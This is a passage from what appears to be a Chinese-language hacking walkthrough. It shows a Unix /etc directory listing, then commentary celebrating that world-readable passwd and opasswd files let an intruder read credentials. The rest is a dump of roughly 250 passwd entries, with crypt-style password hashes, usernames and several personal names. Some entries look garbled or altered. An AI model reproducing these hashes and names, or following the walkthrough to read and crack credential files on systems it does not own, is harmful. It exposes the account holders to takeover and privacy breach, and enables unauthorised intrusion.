lrwxrwxrwx 1 root root 16 Dec 2 12:47 fsdb -> ../usr/sbin/fsdb
lrwxrwxrwx 1 root root 17 Dec 2 12:47 fstyp -> ../usr/sbin/fstyp
lrwxrwxrwx 1 root root 17 Dec 2 12:47 fuser -> ../usr/sbin/fuser
lrwxrwxrwx 1 root root 21 Dec 2 12:47 getty -> ../usr/lib/saf/tt
ymon
-rw-r--r-- 1 root sys 319 Dec 5 15:57 group
lrwxrwxrwx 1 root root 17 Dec 2 12:47 grpck -> ../usr/sbin/grpck
lrwxrwxrwx 1 root root 16 Dec 2 12:47 halt -> ../usr/sbin/halt
-rw-r--r-- 1 root root 7 Dec 2 12:19 hostname.le0
lrwxrwxrwx 1 root root 12 Dec 2 12:52 hosts -> ./inet/hosts
drwxr-xr-x 2 root sys 512 Dec 2 13:11 inet
lrwxrwxrwx 1 root root 17 Dec 2 12:58 inetd.conf -> ./inet/inetd
.conf
lrwxrwxrwx 1 root root 12 Dec 2 12:47 init -> ../sbin/init
drwxrwxr-x 2 root sys 1024 Dec 2 13:23 init.d
prw------- 1 root root 0 May 21 01:06 initpipe
-rw-rw-r-- 1 root sys 881 Jan 1 1970 inittab
lrwxrwxrwx 1 root root 19 Dec 2 12:47 install -> ../usr/sbin/ins
tall
-rw-r--r-- 1 root sys 39 Dec 2 11:00 ioctl.syscon
-rw-r--r-- 1 root sys 369 Dec 2 11:00 iu.ap
lrwxrwxrwx 1 root root 19 Dec 2 12:47 killall -> ../usr/sbin/kil
lall
lrwxrwxrwx 1 root root 19 Dec 2 12:47 labelit -> ../usr/sbin/lab
elit
drwxrwxr-x 2 root sys 512 Dec 2 10:59 lib
lrwxrwxrwx 1 root root 16 Dec 2 12:47 link -> ../usr/sbin/link
lrwxrwxrwx 1 root root 14 Dec 2 12:47 log -> ../var/adm/log
-rw-r--r-- 1 root sys 1988 Dec 2 12:13 logindevperm
drwxrwxr-x 9 lp lp 512 Dec 2 12:22 lp
-r--r--r-- 1 bin bin 11590 May 3 1996 magic
drwxrwxr-x 2 bin mail 512 Dec 2 13:46 mail
-rw-r--r-- 1 root other 2688 Dec 2 12:19 minor_perm
lrwxrwxrwx 1 root root 16 Dec 2 12:47 mkfs -> ../usr/sbin/mkfs
lrwxrwxrwx 1 root root 17 Dec 2 12:47 mknod -> ../usr/sbin/mknod
-rw-r--r-- 1 root root 710 Apr 1 18:36 mnttab
-rw-r--r-- 1 root sys 51 Jan 1 1970 motd
lrwxrwxrwx 1 root root 13 Dec 2 12:47 mount -> ../sbin/mount
lrwxrwxrwx 1 root root 16 Dec 2 12:47 mountall -> ../sbin/mounta
ll
lrwxrwxrwx 1 root root 17 Dec 2 12:47 mvdir -> ../usr/sbin/mvdir
-rw-r--r-- 1 root other 1035 Dec 2 12:19 name_to_major
-rw-r--r-- 1 root sys 2276 May 3 1996 name_to_sysnum
-rw-r--r-- 1 root other 219 May 17 1997 named.boot
-rw-r--r-- 1 root root 4 Apr 1 18:36 named.pid
lrwxrwxrwx 1 root root 18 Dec 2 12:47 ncheck -> ../usr/sbin/nche
ck
drwxr-xr-x 5 root sys 512 Dec 2 10:59 net
-rw-r--r-- 1 root sys 1064 Dec 2 11:00 netconfig
lrwxrwxrwx 1 root root 15 Dec 2 12:47 netmasks -> ./inet/netmask
s
lrwxrwxrwx 1 root root 15 Dec 2 12:47 networks -> ./inet/network
s
-rw-r--r-- 1 root root 7 Dec 2 12:19 nodename
-rw-r--r-- 1 root sys 773 Jan 1 1970 nscd.conf
-rw-r--r-- 1 root sys 690 Jul 12 1997 nsswitch.conf
-rw-r--r-- 1 root sys 686 May 3 1996 nsswitch.files
-rw-r--r-- 1 root sys 915 May 3 1996 nsswitch.nis
-rw-r--r-- 1 root sys 1184 May 3 1996 nsswitch.nisplus
-r--r--r-- 1 root other 5034 Dec 5 15:58 opasswd
drwxrwxr-x 3 root sys 512 Dec 2 12:15 opt
-r-------- 1 root sys 2295 May 2 14:56 oshadow
-r--r--r-- 1 root other 5092 Mar 19 10:56 passwd
-r--r--r-- 1 root sys 1601 Dec 2 12:21 path_to_inst
-r--r--r-- 1 root sys 1554 Dec 2 12:21 path_to_inst.old
-rw-r--r-- 1 root sys 709 Dec 5 17:38 profile
lrwxrwxrwx 1 root root 16 Dec 2 12:47 protocols -> ./inet/protoc
ols
lrwxrwxrwx 1 root root 19 Dec 2 12:47 prtconf -> ../usr/sbin/prt
conf
lrwxrwxrwx 1 root root 19 Dec 2 12:47 prtvtoc -> ../usr/sbin/prt
vtoc
-r-xr-xr-x 1 bin bin 622 Dec 2 12:07 publickey
lrwxrwxrwx 1 root root 16 Dec 2 12:47 pwck -> ../usr/sbin/pwck
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rc0 -> ../sbin/rc0
drwxrwxr-x 2 root sys 512 Dec 2 12:56 rc0.d
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rc1 -> ../sbin/rc1
drwxrwxr-x 2 root sys 512 Dec 2 12:56 rc1.d
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rc2 -> ../sbin/rc2
drwxrwxr-x 2 root sys 1024 Dec 2 12:56 rc2.d
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rc3 -> ../sbin/rc3
drwxrwxr-x 2 root sys 512 Dec 2 12:56 rc3.d
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rc5 -> ../sbin/rc5
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rc6 -> ../sbin/rc6
lrwxrwxrwx 1 root root 11 Dec 2 12:47 rcS -> ../sbin/rcS
drwxrwxr-x 2 root sys 512 Dec 2 12:57 rcS.d
lrwxrwxrwx 1 root root 18 Dec 2 12:47 reboot -> ../usr/sbin/rebo
ot
-rw-r--r-- 1 bin bin 1996 Dec 2 12:19 remote
-rw-r--r-- 1 root other 140 Dec 17 17:53 resolv.conf
-r--r--r-- 1 root other 306 Dec 2 12:19 rmmount.conf
lrwxrwxrwx 1 root root 15 Dec 2 12:47 rmt -> ../usr/sbin/rmt
-rw-r--r-- 1 root sys 1481 Dec 2 11:00 rpc
-rw-r--r-- 1 root sys 496 May 3 1996 rpld.conf
drwxr-xr-x 3 bin bin 512 Apr 1 18:36 saf
drwxr-xr-x 5 root sys 512 Dec 2 10:59 security
lrwxrwxrwx 1 root root 15 Dec 2 13:10 services -> ./inet/service
s
lrwxrwxrwx 1 root root 18 Dec 2 12:47 setmnt -> ../usr/sbin/setm
nt
-r-------- 1 root sys 2293 May 2 14:56 shadow
-rw-r--r-- 1 root other 28 Dec 5 10:10 shells
lrwxrwxrwx 1 root root 20 Dec 2 12:47 shutdown -> ../usr/sbin/sh
utdown
drwxr-xr-x 2 root sys 512 Dec 2 11:00 skel
lrwxrwxrwx 1 root root 15 Dec 2 12:47 sulogin -> ../sbin/sulogin
lrwxrwxrwx 1 root root 16 Dec 2 12:47 swap -> ../usr/sbin/swap
lrwxrwxrwx 1 root root 15 Dec 2 12:47 swapadd -> ../sbin/swapadd
lrwxrwxrwx 1 root root 18 Dec 2 12:47 sysdef -> ../usr/sbin/sysd
ef
-rw-r--r-- 1 root sys 1317 Dec 2 11:00 syslog.conf
-rw-r--r-- 1 root root 5 Apr 1 18:36 syslog.pid
-rw-r--r-- 1 root sys 1884 Dec 2 11:00 system
lrwxrwxrwx 1 root root 15 Dec 2 12:47 tar -> ../usr/sbin/tar
lrwxrwxrwx 1 root root 12 Dec 2 12:47 telinit -> ../sbin/init
lrwxrwxrwx 1 root root 24 Dec 2 12:47 termcap -> ../usr/share/li
b/termcap
drwxrwxr-x 2 root sys 512 Dec 2 10:59 tm
-rw-r--r-- 1 root sys 1697 May 3 1996 ttydefs
-rw-r--r-- 1 root sys 1408 Dec 2 11:00 ttysrch
lrwxrwxrwx 1 root root 14 Dec 2 12:47 uadmin -> ../sbin/uadmin
lrwxrwxrwx 1 root root 14 Dec 2 12:47 umount -> ../sbin/umount
lrwxrwxrwx 1 root root 17 Dec 2 12:47 umountall -> ../sbin/umoun
tall
lrwxrwxrwx 1 root root 18 Dec 2 12:47 unlink -> ../usr/sbin/unli
nk
lrwxrwxrwx 1 root root 15 Dec 2 12:47 utmp -> ../var/adm/utmp
prw------- 1 root root 0 May 21 01:06 utmppipe
lrwxrwxrwx 1 root root 16 Dec 2 12:47 utmpx -> ../var/adm/utmpx
drwxr-xr-x 2 uucp uucp 512 Dec 2 12:04 uucp
-rw-rw-r-- 1 root sys 585 Dec 2 14:18 vfstab
lrwxrwxrwx 1 root root 19 Dec 2 12:47 volcopy -> ../usr/sbin/vol
copy
-rw-r--r-- 1 root other 784 Dec 2 12:19 vold.conf
lrwxrwxrwx 1 root root 16 Dec 2 12:47 wall -> ../usr/sbin/wall
lrwxrwxrwx 1 root root 17 Dec 2 12:47 whodo -> ../usr/sbin/whodo
lrwxrwxrwx 1 root root 15 Dec 2 12:47 wtmp -> ../var/adm/wtmp
lrwxrwxrwx 1 root root 16 Dec 2 12:47 wtmpx -> ../var/adm/wtmpx
.
.
.
.
[以下都省略,太佔空間了]

(哇!有passwd和opasswd兩個ㄝ...太好了,而且還都設定成-r--r--r--..這樣就可以讀取了!!什麼??不知道passwd和opasswd的關係嗎?..opasswd算是passwd的備份檔啦.如果說系統當機或發生事故時.passwd就是從opasswd直接copy過來..!!然而有很多的系統管理員很"聰明"..把passwd設定成-r--------.但是卻不知道要把opasswd也設定...唉!!所以常常造成系統的漏洞.系統的漏洞大多數都是人為因素.passwd雖然不能讀,但是人家讀opasswd還不是一樣嘛!!真傻..!還是說回主題吧..呵.呵..現在passwd和opasswd都是能讀取的檔案格式...so..just do it!!)

$cat passwd


root:kLY2jRUR7oyk:0:0:root:/root:/bin/bash
bin:dsjokkk:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
wang:*:20:100:boy:/usr/games:
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
tidng:hL7lO1sGDnnI:501:100::/home/ting:/bin/bash
bbsrsoot:uB5jsfdNhyDVk:9990:99:BBS & modify source code:/home/bbsroot:/bin/csh
bbs::9999:99:BBS user:/home/bbs:/home/bbs/bin/bbsrf
bbsusesr:LCfg8aF42c:9999:99:BBS user:/home/bbs:/bin/bash
www33:WfO3Vp7hDOrOk:80:80:Apache Web Server:/home/web:/bin/tcsh
mkacnyy:Smtg:503:100:Chen Mu-Jing:/home/mkchen:/bin/tcsh
mchn:Dp6kAda1Auc:502:100:Jun-ming Chen:/home/jmchen:/bin/bash
cjchedfn:W..ICBRGaaswNQ:504:100:Chung-Jung Chen:/home/cjchen:/bin/bash
dsdocu:Bu1UdlsdC6Fkg:0:0:document:/home/docu:/bin/bash
gdter:ISLoXQdaW2Wc:508:100:sysop:/home/gter:/bin/bash
equinox:M46Oudg2:509:100:equinox:/home2/equinox:/bin/bash
cylin:Pphb3lfU/XU:513:100::/home2/cylin:/bin/bash
sysop:Cqnv3r.MxC/s:515:100::/home2/sysop:/bin/bash
jimmin:GdY2JPA0mO4U:516:100:XXXX:/home2/jimmylin:/bin/bash
shu:Bigcr2/J6Wxw:518:100:XXXXx:/home/shu:/bin/bash
eyeofra:.Ee8J/oP79gk:531:0::/home/eyeofra:/bin/bash
daniel:vxyrCtxcF4sc:542:100:XXXX:/home2/daniel:/bin/bash
eric:Bp4R9qkUDlfA:540:100::/home2/eric:/bin/bash
vicky:GcYtKYPz9aM2:549:100::/home/vicky:/bin/bash
mxefla:BnlsNK8i12:547:100:MXE:/home2/mxefla:/bin/bash
tester:J8gQsCoCPKy6:551:100::/home2/tester:/bin/bash
liaowenh:Nmfer8b6rE:563:100::/home2/liaowenh:/bin/bash
shuman:LeMiU5scQtI:571:100:XXXXXXX:/home2/shuman:/bin/bash
mingpeng:m1fd.GZTgsno:572:100::/home2/mingpeng:/bin/bash
wang9680:PkQqtQF3R9k:574:100:DDD:/home2/wang9680:/bin/bash
chchou:6qAEmKApBd.:578:100::/home2/chchou:/bin/bash
linux:KgWaGBUSPn.:577:100:lkok:/home2/linux:/bin/bash
linus:xN4HmR7OrKc:585:100fr:re:/home/linus:/bin/bash
yang1227:KcDeVZg.ylk:592:100::/home2/yang1227:/bin/bash
ultraz:FgLu2C28quw:594:100::/home2/ultraz:/bin/bash
shirley:DcLTjYBPKUE:599:100::/home2/shirley:/bin/bash
isp:NovQNAeSotQo:606:100::/home/isp:/bin/bash
fship:zX7uS4OLxDew:625:100::/home/fship:/home/fship/fan
jilicom:YTnjNDxH2c:630:100:ffsfsfsf:/home2/jilicom:/bin/bash
jameslee:QWUSJrTKMuvM:631:100:fsdf:/home2/jameslee:/bin/bash
ulixo:OfIBVScfuz2M:640:100:ulixo:/home2/ulixo:/bin/bash
michael:Jf4VqSf3GA:642:100:dff:/home2/michael:/bin/bash
vivian:jfb8zv9T2Y6:643:100:df:/home2/vivian:/bin/bash
ajack:Gb5aSp0pjSAs:641:100:ajdsck:/home2/ajack:/bin/bash
flag:aHGyKviHC0xiD7Y:658:100:fwefw:/home2/cfchang:/bin/bash
easy:DeBMm0XfCtik:661:100:kill:/home2/easy:/bin/bash
dongblue:NjvIAPx/UjY:667:100::/home2/dongblue:/bin/bash
why:wNJjJz/x1xGI:692:100:8:/home2/why:/bin/bash
lmtx:.cOAIEbA7Bcs:693:100:sada:/home2/lmtx:/bin/bash
ckwong:LoE.woLGdfOk:705:100:cksdwong:/home2/ckwong:/bin/bash
b0460:LdztThS2RWP6:706:100:dsad:/home2/b0460:/bin/bash
kcchang:VBhlZCqOOcTQ:707:100:sd:/home2/kcchang:/bin/bash
a0828:OgFZMnJEYQts:710:100:8sadada:/home2/a0828:/bin/bash
klha301:hR82.ZD21D4.:711:100:sd:/home2/klha301:/bin/bash
hsiang:DlyShWXud0YM:712:100:dsasd:/home2/hsiang:/bin/bash
jerrynet:Fj9dp73C0w:713:100:nerdasdrynet:/home2/jerrynet:/bin/bash
insure:FdwHDEYCHU57c:716:100:fdsdasa:/home/insure:/bin/bash
dbt:EptqKFecGFy:717:100:sd:/home/dbt:/bin/bash
#jacklai:EUEZJ/bCHS2:718:100:sdsad:/home2/jacklai:/bin/bash
a1219:Bjx1R6pcgZSE:723:100:sdasd:/home2/a1219:/bin/bash
trading:OhGJxr7abmQ:724:100:trasading:/home2/trading:/bin/bash
ithong:HczwEkQEVfzI:741:100:sd:/home2/ithong:/bin/bash
all:Fhvd5rpsqaPM:743:100:sdsf:/home/all:/bin/bash
a8830648:9wYKbdDha82:536:100:ghfrh:/home2/a8830648:/bin/bash
samcool:OpJTMANaro:607:100:h:/home2/samcool:/bin/bash
eoueou:PcX.BXjv7gis:740:100:ghfgh:/home2/eoueou:/bin/bash
lotus:MfsVbajmBYhQ:747:100:hjj:/home2/lotus:/bin/bash
tci:CjHEhY6mUZzM:748:100:tkjhjk:/hoem2/tci:/bin/bash
a0106:KllB.rqctuqk:750:100:gh:/home2/a0106:/bin/bash
a8825275:Gp/mDLLzLgOc:751:100:jk:/home2/a8825275:/bin/bash
a0116:dRJK9uCNTC2o:754:100:850jk6:/home2/a0116:/bin/bash
voice:MmjMrn2jdkIA:755:100:teskkt:/home/voice:/bin/bash
tsaiyee:Eeom7GDqR.qs:758:100:tsajkiyee:/home2/tsaiyee:/bin/bash
rpg1976:JjPdincYo//E:759:100:rpg19k76:/home2/rpg1976:/bin/bash
f8816689:MjGhOXtutc.w:765:100:f8816jh:/home2/f8816689:/bin/bash
seok2552:EoaPfn/4EA:660:100::/home2/seok2552:/bin/bash
hermes:Mhfz6QNTaKTk:671:100:gfgdfg:/home2/hermes:/bin/bash
a1310:DdquueqDy/6:672:100:fgdg:/home2/a1310:/bin/bash
ireneyu:PhA7dsvjeGJM:675:100:IrfgeneYu:/home2/ireneyu:/bin/bash
taicheng:EcXSvehSAg6k:676:100:fgdfgd:/home2/taicheng:/bin/bash
samuel:AYW3JVwj9Sg:677:100:qwe:/home2/samuel:/bin/bash
my1688:Fe0tfh0QT7D.:678:100:fsdfdsf:/home2/my1688:/bin/bash
a0217:KeMj1KO5JI7g:679:100:tuhuty:/home2/a0217:/bin/bash
hsteven:GeM2IiWf4Q:681:100:hhjhgj:/home2/hsteven:/bin/bash
a0113:FnXFAfQtN7w:682:100:a24 :/home2/a0113:/bin/bash
l0858:BlsAPzKN1ac:683:100:v5 25 325:/home2/l0858:/bin/bash
fornet:JmMw/GU25sM:684:100:4v643:/home2/fornet:/bin/bash
rexwang:Maef7x5Ep.k:685:100:rexw:435/home2/rexwang:/bin/bash
steven:AhqsXpuYBAlM:686:100:v5623:/home2/steven:/bin/bash
net:lHfNyZ7djB6:766:100:4vb2q21:/home2/net:/bin/bash
iason:CgOOZCpl9IaU:767:100:bv45v:/home2/iason:/bin/bash
tima:86ZMkYGxrVg:768:100:cv43y:/home2/tima:/bin/bash
a8802330:ElFDKYvg/Vs:769:1r00:rter:/home2/a8802330:/bin/bash
p56811:Lptm2XQajP3s:771:100:3vb6:/home2/p56811:/bin/bash
a0227:Le1hzHoUBBDU:774:100: retv:/home2/a0227:/bin/bash
b0303:BkhrGxXdBXs:777:100:8r bt:/home2/b0303:/bin/bash
a0305:IajexcsFJnvk:553:100:ty4:/home2/a0305:/bin/bash
hiweb:LlG.1i4j9Gc:555:100:b3536bn:/home2/hiweb:/bin/bash
lmg:Nd7FQiUJEsQc:635:100:lmsda vcg:/home2/lmg:/bin/bash
airwolf86:n3/Nhecoqr7Q:680:100:airt:/home2/airwolf86:/bin/bash
fortis:Galv8TrneQKc:704:100:XXXX:/home2/fortis:/bin/bash
jeff9253:KewdpqHXzOwY:719:100:XXX:/home2/jeff9253:/bin/bash
hsiuyun:NjjzQmzNj30A:720:100:hs4wgbn:/home2/hsiuyun:/bin/bash
chu1013a:Lo2cxIQuU/5w:722:100:crrttt:/home2/chu1013a:/bin/bash
newuser:NmT4fSnosmoo:726:100:pppp:/home/newuser:/bin/bash
a0225:IlslBcpPkc:545:100:ppp:/home2/a0225:/bin/bash
mature:LfMYEFdzY:558:100:ppp:/home2/mature:/bin/bash
sc5729:HpiK6P3/1f.U:562:100:ppp:/home2/sc5729:/bin/bash
tonny:Q4Y7H90px1XY:561:100:ppp:/home2/tonny:/bin/bash
a0324:CpqYANC/Ei16:534:100:pppp:/home2/a0324:/bin/bash
a5864260:DbImI6jA7Tk:569:100:pppp:/home2/a5864260:/bin/bash
a8819922:O8.tUUVvQQDc:576:100:pppp:/home2/a8819922:/bin/bash
bobbylin:Gnjobj7Nd4Fs:580:100:ppppp:/home2/bobbylin:/bin/bash
inta:CjGkW4ALhyoY:581:100:ppp:/home2/inta:/bin/bash
civil:FpvyG7.TQr.:584:100:pppp:/home2/civil:/bin/bash
a1230:JhMhXPVaxkUg:586:100:pppp:/home2/a1230:/bin/bash
#house::589:100:house:/home/housie:/home/house/HSE401
house::589:100:house:/home/house:g/bin/bash
yinchen:Jgn2LtDtacSY:595:100:pppp:/home2/yinchen:/bin/bash
ans:GhydyYBfg3.:617:100:pppp:/home2/ans:/bin/bash
wu001:OkfHDUe9H7Go:619:100:pppp:/home2/wu001:/bin/bash
alex:Aad4t4PTlWhQ:627:100:rtb r:/home2/alex:/bin/bash
a0408:Knss6iXY.WKs:628:100:665b45:/home2/a0408:/bin/bash
nikki:Nd1sqe2Ze3I:634:100:63nb 3:/home2/nikki:/bin/bash
a0401:Caql8fGWvLqQ:646:100:vb2q52:/home2/a040801:/bin/bash
wit:BnQkmpN2U:651:100:45b 2:/home/winnt:/bin/bash
bi:Fchpqf6:652:100:v5b2:/home/big:/bin/bash
be001:04.Ibu4yQE:657:100:b 25101:/home2/ben001:/bin/bash
luh:Op8a..gaoQ:587:100:lrtrth:/home2/lueh:/bin/bash
a016:Pf4s2DRqyi.:663:100:rtert:/home2/a0416:/bin/bash
hh:Ea3N53CYUc:664:100:rtv3:/home2/hhd:/bin/bash
kalvin23:ElvFz5ozv.MY:668:100:rc tr:/home2/kalvin23:/bin/bash
grass:EkdXzBNJL1SM:637:100:rt:/home2/:/bin/bash
sex:HcAPMHGlyKmU:669:100:seetx:/home/serx:/bin/bash
a5859608:IkQGRV7Y/PrHU:670:100::/home2/a8:/bin/bash
trident:JpwlAR9QFNaac:673:100::/home2/trnt:/bin/bash
lily218:NgajNwI9K/FIw:674:100:lily218:/he2/li218:/bin/bash
a8821914:HnLu/aEVUdWpI:689:100::/home2/a:/bin/bash
a0423:Mp.Yh3QmGf6D.:517:100::/home2/a0ghft3:/bin/bash
cjchen.1:FiJMZXgT1HssE:694:100::/home2/cjcghf.1:/bin/bash
e.chen:Oi1o6P9Wp4DLY:690:100::/home2/.ujchen:/bin/bash
a0425:FePwTvjyIvw/Q:695:100::/home2/ah5:/bin/bash
moxa:IhGVWJeDW24ug:505:100::/home/moxa:/bin/bash
a0508:FjMR62kiYBhMA:541:100:tyhft:/home2/jghj:/bin/bash
a0514:BcVcznqLD7YSA:548:100:ahgjg:/home2/hgjg4:/bin/bash
pctime:/4bNpdECYvBHg:570:100:yhfh:/home2/yu m:/bin/bash
rgkulai:Fbo/lqDqFh6y6:696:100:rhuki:/home2/rghjjkkulai:/bin/bash
k9jjj:Mfg1EuE0Ofs5U:697:100:ghjg:/home2/jkj:/bin/bash
a0321:Elq8f3.FyWdAo:567:100::/home2/ajk1:/bin/bash
a0602:AdCcd5.p1qb1s:582:100::/home2/a2:/bin/bash
a0603:GehOKn0A0vFAQ:583:100::/home2/ghg03:/bin/bash
a064:Ag0VBTSdUYTXo:593:100:hjghhj4:/home2/ahgjgh:/bin/bash
simon:CmzKsuZAOc7q2:597:100:shgn:/home2/shhg:/bin/bash
a06401:DbePtAbeIK2w:598:100::/home2/:/bin/bash
a00402:OjwOGO8bXe1M:600:100::/home2/hgj60402:/bin/bash
a0603:Klkae7CLkyqc:602:100::/home2/a06ghj:/bin/bash
a060404:Dn/l7UiJ8UA:605:100::/home2/a0:/bin/bash
a060405:LolBfygEtaV6:609:100::/home2/a0405:/bin/bash
a06406:FaseKlvbN4pQ:610:100::/home2/a0406:/bin/bash
a0604:5UX/rXcpfXk:612:100:xxxx:/home2/gfh7:/bin/bash
a06040:Depy0ZhLqqVA:613:100::/home2/a0ghgfh:/bin/bash
a0604:HfmsTso4YivdU:614:100::/home2/a0gfhgfh:/bin/bash
tsaijd:Ae6Ut9MaIdl2s:616:100:tsghj:/home2/d:/bin/bash
a0605:Ldw.773NEAxLE:620:100::/home2/a05:/bin/bash
a0607:Botrx4w8vBJ2E:621:100::/home2/a07:/bin/bash
rachel:JkIJIqpLQ87Ts:622:100:rcfwvl:/hme2/rel:/bin/bash
pierrer:HfQ7FRovg15QM:623:100::/home2/r:/bin/bash
a0610:PhF3QV2iNXjD.:624:100::/home2/:/bin/bash
pierre:EhB5AxsFNUGOU:626:100::/home2/:/bin/bash
a0611:HejscCZVaocR6:700:100:a0hm:/home2/a:/bin/bash
chiwen:Gn/NKfxYXw0ho:708:100::/home2/hjhgjen:/bin/bash
a0613:HdI0V.BC6TBf2:709:100::/home2/fghg:/bin/bash
talos:Bgap9gLjWCa4U:715:100::/home2/talofdg:/bin/bash
interwei:LhdLPkSHAIli2:718:100:in:/home2/:/bin/bash
fdetraux:MggUTyeFDTdeA:725:100:fdghjux:/home2/jkux:/bin/bash
jcwang:Cbu.x8CSjPHck:728:100:jgjkg:/home2/jkl:/bin/bash
nicktk:BlBbeVXj3k4Ds:727:100:NickTK:/home2/nicktk:/bin/bash
a0628:Jk47Y5NSNWWX.:729:100::/home2/a0628:/bin/bash
jayliau:Ned0fgsnX2:730:100:jayliau:/home2/jayliau:/bin/bash
aline:DpynTsjlMF.c:731:100::/home2/aline:/bin/bash
jones:Jmx.EOjyLmRo:732:100:jones:/home2/jones:/bin/bash
tonys:p9p6RKYBCN8E:733:100::/home2/tonys:/bin/bash
amy:KlDco96gGtYg:734:100::/home2/amy:/bin/bash
kau:GfNoWo9HhHQ2:735:100::/home2/kau:/bin/bash
a0709:CptKJETtJ18s:736:100:A0709:/home2/a0709:/bin/bash
penny:Ohb9il7Ee0ps:507:100:penny:/home2/penny:/bin/bash
carol:Nbmrupe2sjL/o:514:100::/home2/carol:/bin/bash
bessie:Xls0Dvonpf1uI:519:100::/home2/bessie:/bin/bash
winnie:Epa.iMHbeDAZc:522:100:t:/home2/winnie:/bin/bash
a0721:68GVulNqvkbUc:523:100:a0721:/home2/a0721:/bin/bash
a0725:OoQmI/zr8v9pw:529:100:a0725:/home2/a0725:/bin/bash
witch:IbQiL.QF/Ywlw:532:100:witch:/home2/witch:/bin/bash
a0729:EmExKsptVlflU:533:100:a0729:/home2/a0729:/bin/bash
a0716:AnGOW01kjHVLQ:535:100:a0716:/home2/a0716:/bin/bash
a0805:Gaqt1X3lVdeik:543:100:a0805:/home2/a0805:/bin/bash
a0811:BeGl9kZjkEay.:550:100::/home2/a0811:/bin/bash
a0812:AgY954Zbim2Ow:552:100::/home2/a0812:/bin/bash
a5131:Fm4/qJ.zEqscU:557:100::/home2/a5131:/bin/bash
yeh5615a:OcFYHUuJJaXRQ:544:100:yeh5615a:/home2/yeh5615a:/bi
face:FivVMHOiYWgWQ:698:100:face:/home2/face:/bin/bash
a0818:ImpsJZ5Xoa4Ec:772:100:a081d8:/home2/a0818:/bin/bash
a0826:JfuDJRAQW5EJo:773:100:dfdf:/home2/a0826:/bin/bash
alextsen:HlTnHH1SUnumo:775:100:dfsdf:/home2/alextsen:/bin/bash
a08261:EgiZcn8kpHbHw:776:100:fsd:/home2/a08261:/bin/bash
jefflee:Ip7fI3Rif2h0.:778:100:jflee:/home2/jefflee:/bin/bash
a08271:PARwCTswKeYRQ:779:100::/home2/a08271:/bin/bash
a08272:AkkPjE9t5BBSc:780:100::/hodme2/a08272:/bin/bash
a0831:AkWIE6tSwkHAQ:781:100:fgedg:/home2/a0831:/bin/bash
a0411:BowQ28WXNEi0c:782:100:dd:/home2/a0411:/bin/bash
s090101:EeZ08GLjO9moQ:783:100:xX:/home2/s090101:/bin/bash
s090102:IhmAs0P0WMosU:784:100:xXX:/home2/s090102:/bin/bash
s090103:EjGi0EmPNKlMg:785:100:xxx:/home2/s090103:/bin/bash
s090104:Ok/Aa0zqj4UKY:786:100:xxx:/home2/s090104:/bin/bash
s090105:JmrLhKz8lR1DI:787:100:xxxxx:/home2/s090105:/bin/bash
s090106:Go9KAP1X9Se7s:788:100:xXxx:/home2/s090106:/bin/bash
tungching:WXtDI/PulPF4w:789:100:XXXX:/home2/tungching:/bin/bash
tungwu:Clht1k9tzc5zw:790:100::/home2/tungwu:/bin/bash
ningwang:HgABgVVMyhWMc:791:100:XXX:/home2/ningwang:/bin/bash
a0903:NdUrRmGgNJUJg:792:100:sxx:/home2/a0903:/bin/bash
a0905:Bo3rVy7yJp1Q2:793:100:XXX:/home2/a0905:/bin/bash
everg:LnLVsZF.2KpmE:794:100:SSS:/home2/everg:/bin/bash
a0906:KhEft6EsQ5.Qc:795:100:XX:/home2/a0906:/bin/bash
hwwang:uT3rTrwKfWzfA:796:100:hang:/home/hwwang:/bin/bash
youscom:HGyS.LtIiNg52:797:100:XX:/home2/youscom:/bin/bash
taglin:DgXn9k7X5TXPc:798:100:SXXX:/home2/taglin:/bin/bash
ragnarok:Mm4xn87Zeplok:799:100:DXXX:/home2/ragnarok:/bin/bash
a0913:Xv4WfSZsBHRZk:800:100:XXXX:/home2/a0913:/bin/bash
a0916:DgQPCF06GvKbw:801:100:XXX:/home2/a0916:/bin/bash
gretel:KmQvbjm0Rc.oE:802:100:XXX:/home2/gretel:/bin/bash
coolgi:Cgpmw1g.vxykM:803:100:XXXX:/home2/coolgi:/bin/bash
t8822311:Bl0fzNJtMMIvU:804:100:shit5 :/home2/t8822311:/bin/bash
brucelan:D40/Rbsy1mziY:805:100:shit4:/home2/brucelan:/bin/bash
junior:Pn.V6s.f7boeA:806:100:shit2:/home2/junior:/bin/bash
chen272:OgkP3IbkcX0FM:807:100:fuck3:/home2/chen272:/bin/bash
brucelan:D40/Rbsy1mziY:805:100:shit2:/home2/brucelan:/bin/bash
a0920:MgiO6/Gaao90s:809:100:shit:/home2/a0920:/bin/bash
a0922:DjcKwhdPvSO0.:810:100:fuck2:/home2/a0922:/bin/bash
g100153:AnY.ujH25l.J.:811:100:fuck:/home2/g100153:/bin/bash
a0924:LiABvyiX/8k8o:812:100:SSS:/home2/a0924:/bin/bash
yrgdi:KfVqRlCNoj0nE:813:100:S:/home2/yrgdi:/bin/bash
a0927:DoeuEOulu6wEw:814:100:a09:/home2/a0927:/bin/bash
misako:LfrPry7zzivZc:815:100:mi:/home2/misako:/bin/bash
terryli:Hj0ARSsUHmBoo:816:100::/home2/terryli:/bin/bash
a0926:Jf.3MAaHjZLls:817:100:XXX:/home2/a0926:/bin/bash
a0928:Ci6KaVGQTEbVk:818:100:SS:/home2/a0928:/bin/bash
powerint:KMhJnS5kHY14E:819:100:XXXXXXXX:/home2/powerint:/bin/bash
a0930:LgmegFG7Xjg56:820:100:XXXXX:/home2/a0930:/bin/bash
a100102:Bbq7UONY0NXD6:821:100:XXX:/home2/a100102:/bin/bash
